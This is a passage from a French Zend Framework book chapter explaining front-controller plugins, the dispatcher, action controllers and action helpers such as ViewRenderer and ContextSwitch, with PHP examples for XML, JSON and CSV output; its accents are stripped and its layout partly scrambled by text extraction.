Comme nous le voyons sur la figure 7-12 : Les plugins sont enregistrs dans le contrleur frontal, au travers dun objet gestionnaire de plugins : Zend_Controller_Plugin_Broker. Concernant linsertion, la suppression et la modification des plugins, vous soumettez votre demande au contrleur frontal qui, lui, sadresse au gestionnaire. Le lien entre le contrleur frontal et son gestionnaire de plugins est une composition : il nest donc pas possible de changer linstance du gestionnaire par la vtre, sans surcharger le contrleur frontal. Les plugins sont enregistrs dans le gestionnaire dans un ordre que vous pouvez librement dterminer. Le contrleur frontal les excute 122
Groupe Eyrolles, 2008

les uns aprs les autres, dans lordre de la pile. Attention, car en fonction de cet ordre, les plugins peuvent provoquer des effets de bord et interfrer entre eux gardez bien cela lesprit. Les plugins sont en relation troite avec lobjet de requte et lobjet de rponse. En effet, lun de leurs rles peut consister modifier ces objets. Un plugin est enregistr par dfaut dans le gestionnaire ErrorHandler. Il possde le numro de pile 100, et on peut le dsactiver et le modifier. De plus, si vous utilisez Zend_Layout, alors un plugin de layout existe aussi. Il possde le numro de pile 99, cest--dire quil se trouve juste avant le ErrorHandler, ce qui est trs important noter. Cela vous laisse la place pour injecter 98 autres plugins.

MMORISER Ordre des plugins


Il est important de matriser lordre dapparition de ses plugins. Les erreurs les plus courantes viennent du fait que les dveloppeurs se retrouvent souvent avec plusieurs (dizaines de) plugins, mais finissent par perdre la matrise de leur excution, ce qui gnre des problmes de recouvrement : un plugin en aval change le contexte dexcution dun plugin en amont, et leffet de bord est invitable.

Plugins inclus dans la distribution de Zend Framework


Nous dtaillons ici les plugins inclus dans Zend Framework. Ceci va vous permettre dans un premier temps de les utiliser, et dans un second temps de mieux comprendre leur rle, par des exemples tout aussi concrets que notre plugin personnalis. ErrorHandler Le plugin ErrorHandler est actuellement le seul plugin activ par dfaut dans la chane MVC de Zend Framework. Son fonctionnement dtaill est le suivant : 1 Le plugin agit en postDispatch, donc aprs la distribution de toute action, vu que la mthode postDispatch() est incluse dans la boucle de distribution et de rpartition de la requte. 2 Il va analyser lobjet de rponse, afin de dtecter si celui-ci contient des exceptions que le distributeur lui aurait passes lors de la distribution du contrleur daction. Ces exceptions peuvent provenir de nimporte o : du contrleur daction, certes, mais aussi des aides daction, dautres plugins, ou encore des objets internes. 3 Si une exception est dtecte dans lobjet de rponse, alors le plugin va demander une autre distribution, en remettant false le jeton contenu dans lobjet de requte, et en lui passant les module/contrleur/action utiliss pour laffichage de lerreur. 4 En plus de demander la distribution du contrleur derreur, le plugin enregistre un paramtre dans le contrleur frontal, error_handler, qui contient, entre autres choses, lexception en question. 5 Si une exception est dtecte pendant la tentative de distribution du contrleur derreur, alors il faut utiliser une sortie durgence, sinon la boucle de distribution de requte devient infinie. Le plugin demande ensuite au contrleur frontal de renvoyer les exceptions et envoie lui mme lexception quil tait charg de traiter.
Groupe Eyrolles, 2008

Figure 713

Diagramme de classes simplifi du plugin ErrorHandler

123

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Pour le dsactiver, il faut passer le paramtre noErrorHandler au contrleur frontal, avant la distribution de la requte bien entendu, soit : $fontController->setParam('noErrorHandler', true); Ceci a tout simplement pour effet de ne pas enregistrer ce plugin dans le gestionnaire de plugins. Vous pouvez modifier les module/contrleur/action que le plugin ErrorHandler utilisera pour traiter les erreurs. Le schma UML illustr sur la figure 7-13 prcise ces mthodes, suffisamment explicites. Layout plugin
REMARQUE Zend_Layout hors MVC
Remarquez que le plugin Layout est situ dans un autre paquetage que Zend_Controller. La raison est simple : comme pour Zend_View, il faut que Zend_Layout soit utilisable hors contexte MVC. Il possde des possibilits daccroche avec le modle MVC (un plugin et une aide daction), mais il doit pouvoir aussi tre manipul totalement en dehors de celui-ci.

Si

layouts (gabarits), via la mthode alors un plugin va tre enregistr dans le contrleur frontal, au rang 99, donc juste avant le ErrorHandler. Aussi, une aide daction sera enregistre, fonctionnant en en duo avec ce plugin.
Zend_Layout::startMVC(),

vous

activez

les

Figure 714 Diagramme de classes simplifi

du plugin Layout

Le fonctionnement de ce plugin est le suivant : 1 Le plugin possde en lui une instance de Zend_Layout, objet capable de rendre une vue un peu particulire (une vue comportant une variable permettant dintgrer le contenu dune autre vue). 2 Le plugin agit en postDispatch, donc aprs la distribution de toute action, puisque la mthode postDispatch() est incluse dans la boucle de distribution et de rpartition de la requte. 3 Le plugin dtecte sil sagit bien de la dernire action traite, et pour cela il scrute le jeton isDispatched de lobjet de requte. Sil sagit de la dernire action de la pile, alors il regarde si les layouts sont bien activs (ils ont pu tre dsactivs entre-temps dans un contrleur daction, par exemple). 4 Si tout se passe bien (point prcdent), alors le plugin demande au layout de rendre son script dans le segment de rponse appropri, ces deux paramtres tant rglables par linstance de Zend_Layout. 5 Si une exception est leve lors du rendu du layout, alors le contenu de la rponse est vid, lexception est intercepte, traite, puis renvoye afin que le plugin ErrorHandler, agissant juste aprs, puisse la traiter. ActionStack
ActionStack porte bien son nom : ce plugin sert grer une queue dactions enchaner. Son utilisation est plutt rare, car il est coupl une aide daction du mme nom qui le pilote.

Le fonctionnement de ce plugin est simple : 1 Il est enregistr dans le gestionnaire de plugins au rang 97, grce laide daction, soit avant le plugin ErrorHandler, ce qui est important tant donn que tous deux utilisent le jeton de distribution. 124
Groupe Eyrolles, 2008

2 Si vous nutilisez pas laide daction pour lenregistrer, mais directe-

ment le contrleur frontal, mfiez-vous du rang que vous lui donnez. 3 Il agit en postDispatch, donc aprs la distribution de toute action, puisque la mthode postDispatch() est incluse dans la boucle de distribution et de rpartition de la requte. 4 Il vrifie le jeton de distribution afin de savoir si des actions restent traiter. Si ce nest pas le cas, il agit simplement en rangeant laction au plus bas de sa queue et en la plaant dans lobjet de requte, tout en remettant le jeton de distribution false. 5 Pour stocker sa queue dactions, il utilise une cl de registre dans Zend_Registry.

Le distributeur (dispatcheur)
Dans lombre du systme MVC se situe le distributeur, dont on saisit souvent mal les rles, pourtant cruciaux.
Figure 715 Diagramme de classes simplifi

du plugin ActionStack

Figure 716 Diagramme de classes simplifi du distributeur

PRCISION Liaison contrleur frontal


et distributeur
La plupart des mthodes proposes par le contrleur frontal renvoient vers des mthodes du distributeur. Le contrleur frontal est trs dpendant du distributeur. Lorsque vous passez des paramtres additionnels au contrleur frontal via sa mthode setParam(), ceux-ci seront transmis au distributeur lors de la distribution et de la rpartition de la requte, qui les retransmettra son tour aux contrleurs daction quil instanciera.

Le distributeur, dont le diagramme UML est reprsent sur la figure 7-16, est la colle qui lie les objets de rponse et de requte, aux contrleurs daction. Lors de la distribution de la requte, le contrleur frontal passe au distributeur lobjet de requte (rout), lobjet de rponse et les paramtres additionnels. Le distributeur doit donc effectuer toute la suite du traitement, savoir :
Groupe Eyrolles, 2008

125

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

1 analyser les attributs module/contrleur/action de la requte, afin

den dduire la classe du contrleur daction instancier, ainsi que lendroit o elle se trouve (son module) ; 2 si un problme est dtect, il est possible de demander au distributeur de distribuer un contrleur par dfaut, en passant au distributeur (ou au contrleur frontal qui le relaiera) le paramtre useDefaultControllerAlways ; 3 positionner le jeton de distribution true, afin de spcifier au systme (et notamment au contrleur frontal qui possde la boucle) qu ce stade-l, il ne reste plus daction distribuer ; 4 dmarrer la mise en mmoire tampon (bufferisation) de sortie sauf si lon a pass le paramtre (ob_start()), disableOutputBuffering au distributeur ou au contrleur frontal. La bufferisation a pour but dintercepter tout affichage (echo, erreurs PHP ventuelles, fuites de sortie), et de les ajouter la suite du corps de lobjet de rponse ; 5 instancier le bon contrleur et lui faire excuter la bonne action ; 6 dtruire linstance du contrleur daction et ainsi librer la mmoire et tous les caches rsidants ventuels (objets de lAPI de Rflexion, par exemple, voir en annexe C) ; 7 si une exception quelconque est leve nimporte quelle tape, celleci sera traite conformment au paramtre spcifi par la mthode throwException() du contrleur frontal. On voit clairement que les rles du distributeur sont essentiels et critiques. Il est en fait le point central et le talon dAchille du systme MVC complet, puisquun changement quelconque dans cet objet peut bouleverser considrablement le comportement global de lapplication. Ainsi, ltendre peut savrer trs intressant dans certains cas, notamment pour personnaliser la recherche ou le nommage des contrleurs.

Les contrleurs daction


Introduction Les contrleurs daction sont le cur de lapplication, parce quils possdent le code utile, celui que lon voit et que lon crit entirement. Ils sont la colle entre le modle et la vue. Dans le schma MVC, on peut dire quils reprsentent le C. Tous hritent de Zend_Controller_Action, classe abstraite qui reprsente toute la logique de traitement des actions. Dans le flux MVC gnral, nos contrleurs daction sont instancis par le distributeur, qui leur passe : lobjet de requte, qui vient dtre rout ; 126
Groupe Eyrolles, 2008

lobjet de rponse, qui peut dj avoir t rempli partiellement ; les paramtres invoqus par le contrleur frontal, via sa mthode setParam().

Figure 717

Diagramme de classes simplifi du contrleur daction

Comme on le voit sur le schma UML, figure 7-17, nos contrleurs daction vont hriter de toute une quantit de mthodes et de proprits protges, qui vont leur permettre de vivre dans le systme MVC et dinteragir avec celui-ci. Notons les lments importants suivants : chaque action va embarquer une instance de la classe Zend_Controller_Action_HelperBroker dans sa proprit protge $_helper : il sagit du gestionnaire daides daction (nous allons revenir dessus plus tard) ; son fonctionnement est similaire au gestionnaire de plugins vu plus tt dans ce chapitre ; chaque action embarque aussi une instance de la vue Zend_View, permettant dassurer pleinement le rle du contrleur (passer des variables la vue) ; enfin, chaque action hrite des mthodes protges de Zend_Controller_Action, nous allons bien entendu les dtailler dici peu.

Groupe Eyrolles, 2008

127

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Nous avons vu, dans la partie prcdente, que chaque action devait tre crite sous forme de nom de mthode dans le contrleur daction, en minuscules, et suivies du suffixe Action. Nous allons maintenant dtailler la manire dont se droule techniquement une action. Droulement dune action Dans un premier temps, le distributeur invoque la mthode dispatch() de la classe Zend_Controller_Action, donc de notre contrleur, puisque nous en hritons. Cette mthode dcrit alors la squence suivante : 1 excuter preDispatch() sur toutes les aides daction ; 2 excuter la mthode preDispatch() de notre contrleur, si celui-ci a pris la peine de redfinir celle prsente dans Zend_Controller_Action ; 3 excuter la mthode daction xxxAction() proprement parler, si les aides daction nont pas pass true le jeton de distribution de la requte ; 4 excuter la mthode postDispatch() de notre contrleur, si celui-ci a pris la peine de redfinir celle prsente dans Zend_Controller_Action ; 5 excuter postDispatch() sur toutes les aides daction. On notera ce stade que driver la classe Zend_Controller_Action, l encore, va permettre de changer la logique dexcution de tous les contrleurs, mme si cette drivation doit faire lobjet dune rflexion pralable, car les aides daction sont l pour rassembler les traitements communs toutes les actions. Aussi, quelques mthodes de Zend_Controller_Action sont dclares final : elles sont donc hrites, mais non redfinissables. Mthodes mises disposition Analysons maintenant quelques mthodes utiles pour nos actions, dont nous hritons de Zend_Controller_Action : init() est appele juste aprs la construction de linstance. Ceci vous vite de rcrire un constructeur dans vos contrleurs et doublier dappeler le constructeur parent, ce qui, de toute vidence, va provoquer une erreur fatale ; preDispatch() est appele avant chaque action, mais aprs le preDispatch() des aides daction. Redfinissez ainsi cette mthode si vous avez besoin de mettre en facteur un traitement devant apparatre avant chacune des actions de votre contrleur ; postDispatch() est appele aprs chaque action, mais avant le postDispatch() des aides daction. Redfinissez ainsi cette mthode si vous avez besoin de mettre en facteur un traitement devant apparatre aprs chacune des actions de votre contrleur ; 128
Groupe Eyrolles, 2008

getInvokeArg() permet de rcuprer un paramtre additionnel pass au contrleur frontal ou au distributeur. Ceci est trs pratique, puisque la mthode setParam() du contrleur frontal permet de passer un paramtre tous les contrleurs, que lon rcupre via cette mthode ; render() demande le rendu explicite dune vue. Les paramtres de cette mthode permettent de dfinir o se situe le script de vue, ainsi que le nom du segment du corps de lobjet de rponse dans lequel rendre la vue indique ; renderScript() a le mme but que render() : rendre une vue. Simplement, les paramtres de cette mthode permettent de dfinir le chemin de la vue relatif au basePath des vues ; _forward() est souvent mal comprise, mme si pourtant trs simple. La requte actuelle tant dj distribue (ou tout du moins en cours), la mthode _forward() permet dinjecter une autre requte (sous forme de paramtres module/contrleur/action), tout en remettant false le jeton de distribution, provoquant effectivement une autre itration de la boucle, condition quaucune altration ne vienne gner ce comportement (plugin, aide daction...) ; _redirect() est trs diffrente de _forward() dans la mesure o cette action va piloter une aide daction appele redirector (que nous verrons bientt en dtail), qui agit directement sur lobjet de rponse, en y injectant un en-tte demandant une redirection HTTP (code 30x), suivie par dfaut dun exit() PHP ; _getParam() renvoie directement vers la mthode du mme nom de lobjet de requte. Nous vous rappelons quabuser de cette mthode est une mauvaise pratique, car les ventuels paramtres des routes sont choisis avant les paramtres GET, eux-mmes choisis avant les paramtres POST.

Les aides daction


Au sein des contrleurs daction se situent des aides. Ce sont des classes dont le but est simple : mettre en facteur (et donc en commun) un code reprsentant une fonctionnalit particulire pouvant tre lie tous les contrleurs daction dune application. Par exemple, demander une redirection, enregistrer un message derreur pour la requte suivante, transformer des donnes en JSON ou encore crer des URL. Le gestionnaire daides d'action Toutes les aides daction sont enregistres dans un gestionnaire daides, matrialis par la classe Zend_Controller_Action_HelperBroker dont limportance est notable. Une instance du gestionnaire daides est attache la construction de chaque contrleur daction par le distributeur.
Groupe Eyrolles, 2008

129

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Figure 718

Diagramme de classes simplifi du gestionnaire daides daction

Les rles du gestionnaire daides sont multiples : faciliter laccs aux aides. Une instance du gestionnaire est prsente sous forme dattribut protg de la classe Zend_Controller_Action : $_helper ; charger les classes des aides uniquement lorsquun contrleur en a besoin, et faire persister entre les contrleurs les instances charges, de manire conomiser des ressources et partager des paramtres ; passer linstance du contrleur daction en cours toutes les aides : chaque aide va donc pouvoir interagir avec le contrleur depuis lequel elle est appele, ce qui reprsente un atout considrable dans la dlgation des rles. Du ct des aides proprement parler, il faut bien garder lesprit les lments suivants : chacune delles nest instancie que lorsquelle est appele depuis un contrleur daction (ou instancie manuellement, ce qui est trs rare), et chaque instance va persister dans le gestionnaire, pour tre disponible pour un ventuel autre contrleur daction par la suite, dans la mme requte cliente ; chaque aide possde une mthode preDispatch() appele avant la mthode preDispatch() du contrleur daction ; 130
Groupe Eyrolles, 2008

chaque aide possde aussi une mthode postDispatch() appele aprs la mthode postDispatch() du contrleur daction ; les mthodes preDispatch() et postDispatch() de toutes les aides sont appeles lune aprs lautre, dans lordre dans lequel les aides ont t charges dans le gestionnaire. Cet ordre est gr par un objet Zend_Controller_Action_HelperBroker_PriorityStack ; une aide est active par dfaut dans Zend Framework, cest ViewRenderer, les autres sont disponibles, mais uniquement charges au besoin. Charger et piloter des aides daction Nous lavons vu, la classe responsable de la gestion des aides daction est Zend_Controller_Action_HelperBroker. Ce qui est intressant de noter, cest quelle utilise les mthodes magiques __call() et __get() de manire fournir une interface trs souple pour piloter les aides.
Charger une aide depuis un contrleur daction
$this->_helper->monAide; // quivalent : $this->_helper->getHelper('monAide');

NE PAS CONFONDRE Aide daction ou plugin ?


La question se pose souvent et la lecture de ce chapitre a d vous donner la rponse. Une aide daction est en relation avec le contrleur qui la invoque, pas un plugin. Une aide daction a un champ de traitement moins large quun plugin : elle nagit que dans la boucle de distribution. De plus, elle est instancie si et seulement si on fait appel elle, contrairement un plugin qui, une fois instanci et inject dans le systme, y demeure prsent pour toujours.

Accder directement la mthode direct() dune aide


$this->_helper->monAide();

Comme on peut le voir, charger une aide est simple : __get() va intercepter lappel de laide et la retourner. Pour cela, si linstance de laide existe dj en mmoire, le gestionnaire va la retourner, sinon il va la garder en mmoire statiquement pour les prochains appels. Il sagit dun pattern singleton assez particulier. Laide __call() du gestionnaire va, comme __get(), intercepter lappel dune aide, la rcuprer, et invoquer immdiatement sa mthode direct() (si celle-ci nexiste pas, une exception va tre retourne). Il sagit l dun design pattern strategy. Dautres mthodes sont disponibles sur le gestionnaire daides, certaines statiques, dautres non. Nous allons dtailler les particularits des plus importantes dentre elles : addPath() permet dajouter un dossier dans lequel le gestionnaire va chercher les aides. Les aides par dfaut sont cherches dans Zend/ Controller/Action/Helper ; addPrefix() va ajouter un prfixe de classe pour charger les aides, et remplacer les traits de soulignement (underscores) par des slashs afin dajouter aussi un dossier dans lequel se trouvent les aides ;
Groupe Eyrolles, 2008

131

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

resetHelpers() permet de vider la pile des actions charges par le gestionnaire. Ceci est pratique pour les tests ; getHelper() retourne une aide en crant son instance si ncessaire. Cest une mthode similaire __get(). Si elle est appele depuis un contrleur daction (ce qui est en gnral le cas), linstance de celui-ci sera passe laide appele, puis laide sera initialise (sa mthode init() sera invoque) ; getStaticHelper() a le mme effet que getHelper(), mais sutilise de manire statique. Attention, aucun contrleur daction ne sera pass laide en question, puisque lappel est statique. Aussi, la mthode init() de laide ne sera pas invoque ; getExistingHelper() est statique, elle a le mme effet que getStaticHelper(), mais renverra une exception si laide na pas t pralablement charge ; getStack() retourne linstance Zend_Controller_Action_HelperBroker _PriorityStack dont le rle est de grer lordre dans lequel les aides daction sont appeles lorsque le contrleur daction demande invoquer les mthodes preDispatch() et postDispatch().

Nous avons utilis dans notre application quelques aides daction. Nous ne pouvons dtailler toutes celles comprises dans Zend Framework. Cela dit, nous vous prsentons ici celles que nous avons juges importantes. ViewRenderer Laide ViewRenderer est primordiale, car elle est active par dfaut dans Zend Framework par le contrleur frontal, lors de la distribution et rpartition de la requte. La dsactiver est simple, passez le paramtre noViewRenderer au contrleur frontal. Les rles de cette aide sont les suivants : faire en sorte que chaque action rende un script de vue automatiquement, sauf si on spcifie le contraire ; soccuper de piloter lobjet de vue (Zend_View), notamment en lui indiquant o se trouvent les scripts de vue rendre, en fonction du trio module/contrleur/action en cours de distribution ; servir de passerelle pour injecter ou rcuprer lobjet vue dans la chane MVC ; peupler lattribut $view du contrleur daction auquel elle est rattache. Cest donc ce composant qui, par dfaut, indique que la vue se trouve dans le dossier {module}/view/scripts/{contrleur}/{action}.phtml. Tous ces chemins sont modifiables, la documentation vous indiquera comment procder. 132
Groupe Eyrolles, 2008

Figure 719

Diagramme de classes simplifi de laide daction ViewRenderer

Il convient de noter les points importants suivants : si nous avons besoin de linstance de lobjet vue du modle MVC (Zend_View), cest cette aide quil faut sadresser. Par exemple, dans notre application, nous configurons la vue avant de lancer le dispatch(), de la manire suivante :
index.php
$view = new Zend_View(); $view->setEncoding('UTF-8'); $view->strictVars((bool) $configMain->debug); $vR = Zend_Controller_Action_HelperBroker::getStaticHelper('ViewRenderer'); // Passage de notre vue ViewRenderer $viewRenderer->setView($view);

Ici nous passons notre propre instance vue laide ViewRenderer, autrement elle va se charger de crer une instance de son ct.

Groupe Eyrolles, 2008

133

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

si, ce stade nous avions voulu rcuprer cette instance, il aurait fallu agir comme ceci :
Axemple de rcupration de lobjet de vue
$vR = Zend_Controller_Action_HelperBroker::getStaticHelper('ViewRenderer'); $vR->init(); $view = $vR->view;

Figure 720

Diagramme de squence simplifi de linvocation de laide daction ViewRenderer

la vue est prsente dans lobjet ViewRenderer sous forme dattribut public, mais elle nest initialise et partage dans le contrleur daction que lorsque la mthode init() est appele, ce qui est le cas lorsquon se situe aprs la distribution, mais pas avant ; passer setNoRender(true) dsactive le rendu automatique uniquement pour laction en cours ; passer setNeverRender(true) dsactive dfinitivement le rendu automatique (pour la requte en cours) ; il reste possible de rendre une vue explicitement dans ses contrleurs daction, ce que permettent les mthodes render() et renderScript() : elles vont piloter laide ViewRenderer et vont lui spcifier de ne plus rendre de vue pour laction en cours, puisque nous avons pris la main ; le calcul du chemin de la vue se fait au travers dun objet appel inflecteur, instance de Zend_Filter_Inflector ;

134

Groupe Eyrolles, 2008

la variable

est utilise pour spcifier laide que le calcul du chemin du script de vue ne doit pas prendre en compte le contrleur. Le script se trouvera donc (par dfaut) dans {module}/view/scripts/ et non plus dans {module}/ view/scripts/{controllername}/.
$_noController ViewRenderer

Layout

Figure 721

Diagramme de classes simplifi de laide daction Layout

Laide daction Layout, dont le schma UML est illustr sur la figure 7-21, possde peu de rles : partager linstance de Zend_Layout dans les contrleurs daction en fournissant un accs celle-ci directement (via la mthode direct()) ; fonctionner en duo avec le plugin des layouts (vu prcdemment) et le prvenir si toute laction sest bien droule (ceci se passe en postDispatch() de laide daction). Rappelons tout de mme que cette aide daction et le plugin qui lui est associ ne sont enregistrs que lorsque les layouts sont utiliss, cest-dire lors de lappel de Zend_Layout::startMvc(). Redirector Comme son nom lindique, cette aide daction est charge de grer les redirections HTTP. Nous nallons pas la dtailler, car le diagramme UML de la figure 7-22 est assez explicite. En fait chaque mthode ralise presque la mme chose, cest juste lAPI (les paramtres quon lui passe) qui change.
RAPPEL Mthode _redirect()
La mthode _redirect(), que lon utilise parfois depuis un contrleur daction, fait en ralit appel la mthode gotoUrl() de laide daction Redirector.

Groupe Eyrolles, 2008

135

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Figure 722

Diagramme de classes simplifi de laide daction Redirector

Il faut en revanche noter les points suivants : laide Redirector est en liaison directe avec lobjet de rponse et se charge de remplir son code de rponse HTTP, ainsi que ses en-ttes, Location entre autres ; par dfaut, Redirector fait suivre son instruction dun exit() PHP, ce qui a pour effet darrter tout traitement. Passer false sa mthode setExit() vite cela, mais il faut alors bien prendre ce paramtre en compte dans ses contrleurs daction ; le code de rponse HTTP est par dfaut 302, qui est un code trs gnrique, pas forcment adapt certaines situations. Renseignezvous sur le protocole HTTP pour plus dinformations (RFC 2616). Url Cette aide sert crer des URL en fonction dun trio module/contrleur/action, et/ou du nom dune route utiliser. Elle utilise une mthode assemble() du routeur afin de calculer la route inverse. ContextSwitch
ContextSwitch

est une aide charge de changer dynamiquement le comportement dune partie du modle MVC, en fonction de paramtres dentre, gnralement issus de la requte HTTP.

136

Groupe Eyrolles, 2008

Cette aide est trs pratique dans les architectures full REST, dans la mesure o elle permet dajouter des prsentations pour une seule et mme ressource. Ainsi un contrleur va pouvoir dcider des diffrentes prsentations possibles pour toutes les actions quil contient. Laide daction contextSwitch est une aide qui demande son activation la construction du contrleur daction. Pour lactiver, il faut invoquer sa mthode initContext() depuis un contrleur daction. videmment, il faut au pralable la configurer, ce qui nest pas trs compliqu, comme nous allons le voir, grce notre contrleur ReservationController. Afin que contextSwitch puisse fonctionner, il faut lactiver depuis la mthode init() du contrleur daction. L, on dclare simplement quelles actions du contrleur actuel vont ragir quels contextes, sachant quil existe dj deux contextes prfabriqus : XML et JSON. Il demeure possible de construire ses propres contextes, ce que nous allons dtailler. Mais quoi quil arrive, les contextes agissent comme cela : ils peuvent au besoin dsactiver le rendu des layouts : en effet une rponse JSON ou XML, par exemple, ne ncessite pas le rendu du layout, qui pour rappel se compose souvent de HTML ; ils peuvent changer le suffixe de la vue appele en fonction du contexte. Par exemple le contexte XML cherchera une vue sur le pattern actionName.xml.phtml par dfaut ; ils ont la possibilit dajouter des en-ttes lobjet de rponse. La rponse XML na pas les mmes en-ttes que la rponse HTML, etc. ; enfin, les contextes peuvent utiliser des fonctions de rappel (callback) leur initialisation (init), ou aprs leur processus (post). Ces fonctions peuvent savrer utiles, par exemple le contexte JSON enregistre une fonction de rappel en init afin de dsactiver le rendu de la vue.
Activation de contextSwitch, ReservationController.php
$this->_helper->contextSwitch() ->addActionContext('list', array('xml', 'json')) ->initContext();

RENVOI REST
REST (REpresentational State Transfer) est une alternative SOAP (Simple Object Access Protocol ) pour la cration de services web. Il est abord dans le chapitre 12 consacr linteroprabilit.

REMARQUE Le paramtre format


Le paramtre de requte qui fait ragir une action dun contrleur la commutation de contexte sappelle format par dfaut. Vous pouvez le changer en appelant la mthode setContextParam(). Ce paramtre est demand lobjet de requte et peut donc lui tre pass en GET ou en POST.

Ce code permet dactiver la commutation de contexte pour laction list (listAction()), qui ragira aux contextes XML et JSON (intgrs dans ContextSwicth par dfaut). Ds lors, interroger cette action en lui ajoutant un paramtre GET appel format, ayant la valeur xml, ou json, fera ragir le contextSwitch.

Groupe Eyrolles, 2008

137

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Figure 723

Diagramme de classes simplifi de laide daction ContextSwitch

Le contexte JSON ne ncessite rien de particulier, nous pouvons donc lutiliser immdiatement, en appelant la page reservation/ list?format=json. Par dfaut, le contexte JSON srialise toutes les variables de la vue et rend une rponse JSON, ce qui, dans notre cas, ne nous arrange pas trop, car notre vue comporte des variables que nous ne voulons pas inclure dans la rponse JSON : le titre de la page (pageTitle) et une variable de cache (cached). Il va donc falloir changer la manire dont fonctionne ce contexte par dfaut.
Rendu manuel du JSON, ReservationController::listAction()
if ($this->_helper->contextSwitch->getCurrentContext() == 'json') { $this->_helper->json->sendJson($reservations); }

138

Groupe Eyrolles, 2008

Au lieu de nous reposer sur le comportement par dfaut, qui va inclure des variables de vue que nous ne souhaitons pas, nous prfrons ajouter une clause notre mthode listAction(). Si on dtecte que le contexte JSON est en cours dutilisation, alors nous rendons nous-mmes manuellement du contenu JSON (au moyen dune autre aide daction appele json) : le contenu des rservations, sans autre forme de variable. Il faut noter que PHP.
sendJson()

est radicale : elle est suivie dun

exit()

Concernant le XML, un autre problme va se poser : le menu submenu.phtml, rendu dans la mthode init(). En effet, mme si nous rendons du XML le plus valide qui soit, le contenu du submenu.phtml va se mlanger au XML, altrant totalement la rponse. Il faut donc trouver un moyen de supprimer le contenu de submenu.phtml, ce que nous accomplissons au moyen dune fonction de rappel place en initialisation.
Ajout dune fonction de rappel en initialisation du contexte JSON
$this->_helper->contextSwitch() ->addActionContext('list', array('xml', 'json')) ->setCallBack('xml', 'init', array('Zfbook_Controller_ContextSwitch_XmlJson','initContext')) ->initContext();

Nous indiquons que nous souhaitons utiliser la mthode statique initContext() de la classe Zfbook_Controller_ContextSwitch_XmlJson, comme mthode dinitialisation du contexte, appele avant lintervention du contextSwitch.
Zfbook_Controller_ContextSwitch_XmlJson
class Zfbook_Controller_ContextSwitch_XmlJson { public static function initContext() { Zend_Controller_Front::getInstance()->getResponse()->clearBody(); } }

Nous vidons simplement la rponse, ce qui a pour effet de vider le contenu du sous menu, rendu avant la distribution de notre action. Le va chercher une vue selon le pattern {actionname}.xml.phtml. Crons donc ce fichier contenant le XML :
views/scripts/reservation/list.xml.phtml
<?php $dateBegin = new Zend_Date(); $dateEnd = clone $dateBegin;

RENVOI Zend_Date
Le composant Zend_Date est abord dans le chapitre 13.

contexte

XML

Groupe Eyrolles, 2008

139

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

$writer = new XMLWriter(); $writer->openMemory(); $writer->startDocument('1.0'); $writer->startElement('reservations'); foreach ($this->reservations as $reservation) { $dateBegin->set($reservation['date_begin'], 'YYYY-MM-DD HH:mm:ss', 'fr_FR'); $dateEnd->set($reservation['date_end'], 'YYYY-MM-DD HH:mm:ss', 'fr_FR'); $writer->startElement('reservation'); $writer->writeAttribute('id', $reservation['id_reservation']); $writer->writeElement('room', $reservation['room']); $writer->writeElement('date_begin', $dateBegin->toString('dd MMMM HH:mm')); $writer->writeElement('date_end', $dateEnd->toString('dd MMMM HH:mm')); $writer->writeElement('usage', $reservation['usage']); $writer->writeElement('creator', $reservation['user']); $writer->endElement(); } $writer->endElement(); $writer->endDocument(); echo $writer->flush();

Nous utilisons lAPI de XMLWriter, disponible dans PHP 5.2, pour construire facilement une rponse XML. Interroger la page /reservation/list?format=xml affiche donc quelque chose de similaire ce qui est illustr sur la figure 7-24.

Figure 724

La rponse XML de laction list du contrleur des rservations

Nous allons en dernier lieu crer un contexte de toute pice : le contexte CSV. Dans le chapitre 13, nous expliquerons comment crer un composant permettant de transformer un tableau PHP en donnes CSV. Nous allons ici utiliser ce composant afin de rendre notre contrleur ReservationController ractif au contexte CSV.

140

Groupe Eyrolles, 2008

Activation du contexte CSV dans le contrleur ReservationController.php


$this->_helper->contextSwitch() ->addContext('csv', Zfbook_Controller_ContextSwitch_Csv::getContext()) ->setCallBack('xml', 'init', array('Zfbook_Controller_ContextSwitch_XmlJson','initContext')) ->addActionContext('list', array('csv', 'xml', 'json')) ->initContext(); CONSEIL Contextes intgrs La mthode addContext() permet dajouter un nouveau contexte en lui Lanalyse de la source de Zend/Controller/ donnant un nom et en lui passant en second paramtre un tableau PHP, Action/Helper/ContextSwitch.php permet de prendre connaissance de la manire ici issu dune mthode statistique (getContext()), qui va contenir cerdont fonctionnent les contextes intgrs XML et taines cls ncessaires au bon fonctionnement du contexte. JSON, ce qui est intressant lorsquil sagit de crer son propre contexte. Zfbook/Controller/ContextSwitch/Csv.php class Zfbook_Controller_ContextSwitch_Csv extends Zfbook_Controller_ContextSwitch_Abstract { public static function getContext() { return self::buildContext(__CLASS__, 'text/csv'); } public static function getContent() { $viewRenderer = Zend_Controller_Action_HelperBroker::getStaticHelper('viewRenderer'); $reservations = iterator_to_array($viewRenderer->view->reservations->getIterator()); $content = Zfbook_Convert_Csv::getInstance()->convertFromArray($reservations); Zend_Controller_Front::getInstance()->getResponse()->setBody($content); } }

Zfbook/Controller/ContextSwitch/Abstract.php
abstract class Zfbook_Controller_ContextSwitch_Abstract { const CS_POST = 'getContent'; const CS_INIT = 'initContext'; public static function initContext() { $viewRenderer = Zend_Controller_Action_HelperBroker::getStaticHelper('viewRenderer'); $viewRenderer->setNoRender(true); } protected static function buildContext($callbackClass, $mimeType) { $context = array(); $context['headers'] = array('Content-type' => $mimeType); $context['callbacks']['post'] = array($callbackClass, self::CS_POST); $context['callbacks']['init'] = array($callbackClass, self::CS_INIT); return $context; } }

Groupe Eyrolles, 2008

141

7 Architecture MVC avance

Zend Framework - Bien dvelopper en PHP

Voyez comment nous avons prvu lajout ventuel dautres contextes : nous avons utilis une classe abstraite dont vont hriter les classes des contextes supplmentaires. La mthode
